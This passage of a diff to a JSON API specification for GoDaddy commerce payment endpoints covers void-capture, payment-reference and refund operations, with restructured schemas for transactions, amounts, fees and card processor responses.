] + }, + { + "operationId": "voidCaptureById", + "method": "DELETE", + "path": "/stores/{storeId}/payments/{paymentId}/captures/{transactionId}", + "summary": "Void Capture", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Uuid.yaml" + } + }, + { + "name": "paymentId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Id.yaml" + } + }, + { + "name": "transactionId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Id.yaml" + } + }, + { + "name": "Request Id", + "in": "header", + "required": false, + "schema": { + "format": "uuid", + "type": "string" + } + } + ], + "responses": { + "200": { + "description": "Request was successful" + }, + "default": { + "description": "Error", + "schema": { + "$ref": "./models/Error.yaml" + } + } + }, + "scopes": [ + "urn:godaddy:services:commerce:payments:read-write" + ] + }, + { + "operationId": "voidCaptureByRefNum", + "method": "DELETE", + "path": "/stores/{storeId}/payments/{paymentId}/captures/{transactionRefNum}", + "summary": "Void Capture", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Uuid.yaml" + } + }, + { + "name": "paymentId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Id.yaml" + } + }, + { + "name": "transactionRefNum", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/RefNum.yaml" + } + }, + { + "name": "Request Id", + "in": "header", + "required": false, + "schema": { + "format": "uuid", + "type": "string" + } + } + ], + "responses": { + "200": { + "description": "Request was successful" + }, + "default": { + "description": "Error", + "schema": { + "$ref": "./models/Error.yaml" + } + } + }, + "scopes": [ + "urn:godaddy:services:commerce:payments:read-write" + ] + }, + { + "operationId": "getPaymentReference", + "method": "GET", + "path": "/stores/{storeId}/payments/{paymentId}/references/{value}", + "summary": "Get reference", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Uuid.yaml" + } + }, + { + "name": "paymentId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Id.yaml" + } + }, + { + "name": "value", + "in": "path", + "required": true, + "description": "Reference value", + "schema": { + "type": "string" + } + } + ], + "responses": { + "200": { + "description": "Get payment reference by value", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-reference.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "type": { + "maxLength": 32, + "type": "string" + }, + "value": { + "maxLength": 64, + "type": "string" + } + }, + "required": [ + "value", + "type" + ], + "title": "PaymentReference", + "type": "object" + } + } + }, + "scopes": [ + "urn:godaddy:services:commerce:payments:read", + "urn:godaddy:services:commerce:payments:read-write" + ] + }, + { + "operationId": "createPaymentReference", + "method": "PUT", + "path": "/stores/{storeId}/payments/{paymentId}/references/{value}", + "summary": "Create Reference", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Uuid.yaml" + } + }, + { + "name": "paymentId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Id.yaml" + } + }, + { + "name": "value", + "in": "path", + "required": true, + "description": "Reference value", + "schema": { + "type": "string" + } + } + ], + "requestBody": { + "required": false, + "contentType": "application/json", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-reference.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "type": { + "maxLength": 32, + "type": "string" + }, + "value": { + "maxLength": 64, + "type": "string" + } + }, + "required": [ + "value", + "type" + ], + "title": "PaymentReference", + "type": "object" + } + }, + "responses": { + "204": { + "description": "Resource created / updated successfully" + } + }, + "scopes": [ + "urn:godaddy:services:commerce:payments:read-write" + ] + }, + { + "operationId": "deletePaymentReference", + "method": "DELETE", + "path": "/stores/{storeId}/payments/{paymentId}/references/{value}", + "summary": "Delete reference", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Uuid.yaml" + } + }, + { + "name": "paymentId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Id.yaml" + } + }, + { + "name": "value", + "in": "path", + "required": true, + "description": "Reference value", + "schema": { + "type": "string" + } + } + ], + "responses": { + "200": { + "description": "Request was successful" + }, + "404": { + "description": "Reference Not Found" + } + }, + "scopes": [ + "urn:godaddy:services:commerce:payments:read-write" + ] + }, + { + "operationId": "getRefunds", + "method": "GET", + "path": "/stores/{storeId}/payments/{paymentId}/refunds", + "summary": "Get Refunds", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Uuid.yaml" + } + }, + { + "name": "paymentId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Id.yaml" + } + }, + { + "name": "Request Id", + "in": "header", + "required": false, + "schema": { + "format": "uuid", + "type": "string" + } + }, + { + "name": "page", + "in": "query", + "required": false, + "schema": { + "default": 1, + "type": "integer" + } + }, + { + "name": "pageSize", + "in": "query", + "required": false, + "schema": { + "default": 10, + "type": "integer" + } + }, + { + "name": "totalRequired", + "in": "query", + "required": false, + "schema": { + "default": false, + "type": "boolean" + } + } + ], + "responses": { + "200": { + "description": "Refund list", + "schema": { + "allOf": [ + { + "properties": { + "links": { + "$ref": "./types/Links.yaml" + }, + "totalItems": { + "type": "integer" + }, + "totalPages": { + "type": "integer" + } + } + } + ], + "properties": { + "items": { + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment/refund.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Represents transaction against a payment", + "properties": { + "amount": { + "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "DETAILED": "./DetailedAmount.yaml", + "SIMPLE": "./SimpleAmount.yaml" + }, + "propertyName": "amountType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Payment amount", + "format": "int64", + "type": "integer" }, - "required": [ - "processorType" - ] + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + } }, - "notes": { - "type": "string", - "maxLength": 512, - "description": "Notes about transaction" - } + "required": [ + "amount", + "currency" + ], + "title": "Simple Amount", + "type": "object" }, - "required": [ - "amount", - "createdAt" - ] - } - ], - "x-generic-type": "Transaction", - "description": "Represents capture transaction against a payment", - "properties": { - "parentTransactionId": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - } - } - }, - "readOnly": true, - "description": "Captures for the payment" - }, - "sales": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/sale.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Sale Transaction", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction", - "type": "object", - "description": "Represents transaction against a payment", - "x-generic-type": "Transaction", - "properties": { - "transactionId": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - }, - "transactionRefNum": { - "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ReferenceNumber", - "description": "reference number (UUID format)", - "type": "string", - "format": "uuid", - "x-custom-type": true, - "x-custom-refnum": true - }, - "status": { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction Status", - "type": "string", - "enum": [ - "INITIATED", - "PENDING", - "FAILED", - "COMPLETED", - "VOIDED" - ], - "description": "Transaction status" - }, - "amount": { - "description": "Transaction amount", - "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Amount", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", + { + "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cashback": { + "description": "Cashback details", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + }, + "fees": { + "description": "Fees if any", + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Simple Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Payment amount" + "discriminator": { + "mapping": { + "ADDITIONAL": "./SimpleFee.yaml", + "GOVERNED": "./GovernedFee.yaml" }, - "currency": { - "description": "Payment currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - } + "propertyName": "feeType" }, - "required": [ - "amount", - "currency" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Detailed Amount", - "type": "object", - "properties": { - "total": { - "type": "integer", - "format": "int64", - "description": "Total amount" - }, - "tip": { - "nullable": true, - "description": "Tip amount details", - "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Tip Amount", - "type": "object", "properties": { "amount": { - "type": "integer", + "description": "Fee amount", "format": "int64", - "description": "Tip amount" + "type": "integer" }, - "customerOptedNoTip": { - "type": "boolean", - "default": false, - "description": "Customer opted for no tip" + "type": { + "description": "Fee type", + "example": "Shipping", + "maxLength": 64, + "minLength": 2, + "type": "string" } - } - }, - "cashback": { - "type": "integer", - "description": "Cashback details" - }, - "subTotal": { - "type": "integer", - "format": "int64", - "description": "Sub total details" + }, + "required": [ + "amount", + "type" + ], + "title": "SimpleFee", + "type": "object" }, - "currency": { - "description": "Amount currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + { + "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - }, - "fees": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Fee", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "SimpleFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "Shipping", - "description": "Fee type", - "minLength": 2, - "maxLength": 64 - } - }, - "required": [ - "amount", - "type" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GovernedFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "SURCHARGE", - "description": "Fee Program type", - "enum": [ - "SURCHARGE", - "SERVICE_FEE", - "CONVENIENCE_FEE", - "CASH_DISCOUNT" - ] - }, - "signature": { - "type": "string", - "maxLength": 256, - "description": "Signature representing the Fee", - "writeOnly": true - } - }, - "required": [ - "amount", - "type", - "signature" - ] - } - ], - "discriminator": { - "propertyName": "feeType", - "mapping": { - "ADDITIONAL": "./SimpleFee.yaml", - "GOVERNED": "./GovernedFee.yaml" - } + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" }, - "properties": { - "feeType": { - "type": "string", - "description": "Fee type discriminator" - } + "signature": { + "description": "Signature representing the Fee", + "maxLength": 256, + "type": "string", + "writeOnly": true }, - "required": [ - "feeType" - ] + "type": { + "description": "Fee Program type", + "enum": [ + "SURCHARGE", + "SERVICE_FEE", + "CONVENIENCE_FEE", + "CASH_DISCOUNT" + ], + "example": "SURCHARGE", + "type": "string" + } }, - "description": "Fees if any" + "required": [ + "amount", + "type", + "signature" + ], + "title": "GovernedFee", + "type": "object" + } + ], + "properties": { + "feeType": { + "description": "Fee type discriminator", + "type": "string" } }, - "required": [ - "total", - "currency" - ] - } - ], - "discriminator": { - "propertyName": "amountType", - "mapping": { - "DETAILED": "./DetailedAmount.yaml", - "SIMPLE": "./SimpleAmount.yaml" - } + "required": [ + "feeType" + ], + "title": "Fee", + "type": "object" + }, + "type": "array" + }, + "subTotal": { + "description": "Sub total details", + "format": "int64", + "type": "integer" + }, + "tip": { + "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Tip amount details", + "properties": { + "amount": { + "description": "Tip amount", + "format": "int64", + "type": "integer" + }, + "customerOptedNoTip": { + "default": false, + "description": "Customer opted for no tip", + "type": "boolean" + } + }, + "title": "Tip Amount", + "type": "object" + }, + "total": { + "description": "Total amount", + "format": "int64", + "type": "integer" + } + }, + "required": [ + "total", + "currency" + ], + "title": "Detailed Amount", + "type": "object" + } + ], + "properties": { + "amountType": { + "type": "string" + } + }, + "title": "Amount", + "type": "object" + }, + "clientContext": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "context": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-context.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Payment Context details", + "properties": { + "channelId": { + "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier (UUID format)", + "example": "id", + "format": "uuid", + "readOnly": true, + "title": "Uuid", + "type": "string" + }, + "merchantInitiatedTransaction": { + "default": false, + "description": "True if initiated by the Merchant on behalf of the customer", + "type": "boolean" + } + }, + "title": "PaymentContext", + "type": "object" + } + ], + "description": "Transaction context", + "title": "TransactionContext", + "type": "object" + }, + "createdAt": { + "description": "Created time in RFC 3339 format", + "example": "2022-07-21T17:32:28Z", + "format": "date-time", + "type": "string" + }, + "notes": { + "description": "Notes about transaction", + "maxLength": 512, + "type": "string" + }, + "processorResponse": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", + "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" + }, + "propertyName": "processorType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "approvalCode": { + "description": "Approval code that can be used for reference", + "readOnly": true, + "type": "string" + }, + "approvedAmount": { + "description": "If different than request amount", + "readOnly": true, + "type": "integer" + }, + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "addressResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cardHolderNameResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cityResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "countryResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "phoneResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "postalCodeResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "stateResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + } + }, + "title": "AVS Results", + "type": "object" }, - "properties": { - "amountType": { + "cvResult": { + "description": "CVV verification result", + "enum": [ + "MATCH", + "NO_MATCH", + "UNAVAILABLE" + ], + "readOnly": true, + "type": "string" + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, "type": "string" - } + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", + "readOnly": true, + "type": "string" + }, + "scaResult": { + "description": "Strong customer authentication result", + "readOnly": true, + "type": "string" } }, - "createdAt": { - "type": "string", - "format": "date-time", - "description": "Created time in RFC 3339 format", - "example": "2022-07-21T17:32:28Z" - }, - "context": { - "description": "Transaction context", - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-context.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "TransactionContext", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentContext", - "type": "object", - "description": "Payment Context details", - "properties": { - "channelId": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true + "title": "Card Processor Response", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/debitcard.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "approvalCode": { + "description": "Approval code that can be used for reference", + "readOnly": true, + "type": "string" + }, + "approvedAmount": { + "description": "If different than request amount", + "readOnly": true, + "type": "integer" + }, + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "addressResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cardHolderNameResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cityResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "countryResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "phoneResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "postalCodeResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "stateResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + } }, - "merchantInitiatedTransaction": { - "type": "boolean", - "default": false, - "description": "True if initiated by the Merchant on behalf of the customer" - } + "title": "AVS Results", + "type": "object" + }, + "cvResult": { + "description": "CVV verification result", + "enum": [ + "MATCH", + "NO_MATCH", + "UNAVAILABLE" + ], + "readOnly": true, + "type": "string" + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", + "readOnly": true, + "type": "string" + }, + "scaResult": { + "description": "Strong customer authentication result", + "readOnly": true, + "type": "string" } - } - ], - "type": "object" - }, - "clientContext": { - "description": "non-sensitive context data that can be stored and fetched by client when needed", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 + }, + "title": "Card Processor Response", + "type": "object" + } + ], + "properties": { + "remainingBalanceAmount": { + "description": "Remaining balance amount", + "type": "integer" } }, - "processorResponse": { - "readOnly": true, - "description": "Processor response", - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "DebitCardProcessorResponse", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "type": "object", - "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AVS Results", - "type": "object", - "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - } - } - }, - "cvResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" - ], - "description": "CVV verification result", - "readOnly": true - }, - "approvedAmount": { - "type": "integer", - "description": "If different than request amount", - "readOnly": true - }, - "approvalCode": { - "type": "string", - "readOnly": true, - "description": "Approval code that can be used for reference" - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Strong customer authentication result" - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" - }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - } + "title": "DebitCardProcessorResponse", + "type": "object" + } + ], + "properties": { + "processorType": { + "type": "string" + } + }, + "required": [ + "processorType" + ], + "title": "DebitCardProcessorResponse", + "type": "object" + }, + "status": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Transaction status", + "enum": [ + "INITIATED", + "PENDING", + "FAILED", + "COMPLETED", + "VOIDED" + ], + "title": "Transaction Status", + "type": "string" + }, + "transactionId": { + "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Custom URN format", + "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", + "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "readOnly": true, + "title": "Id", + "type": "string", + "x-custom-id": true, + "x-custom-type": true + }, + "transactionRefNum": { + "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", + "$schema": 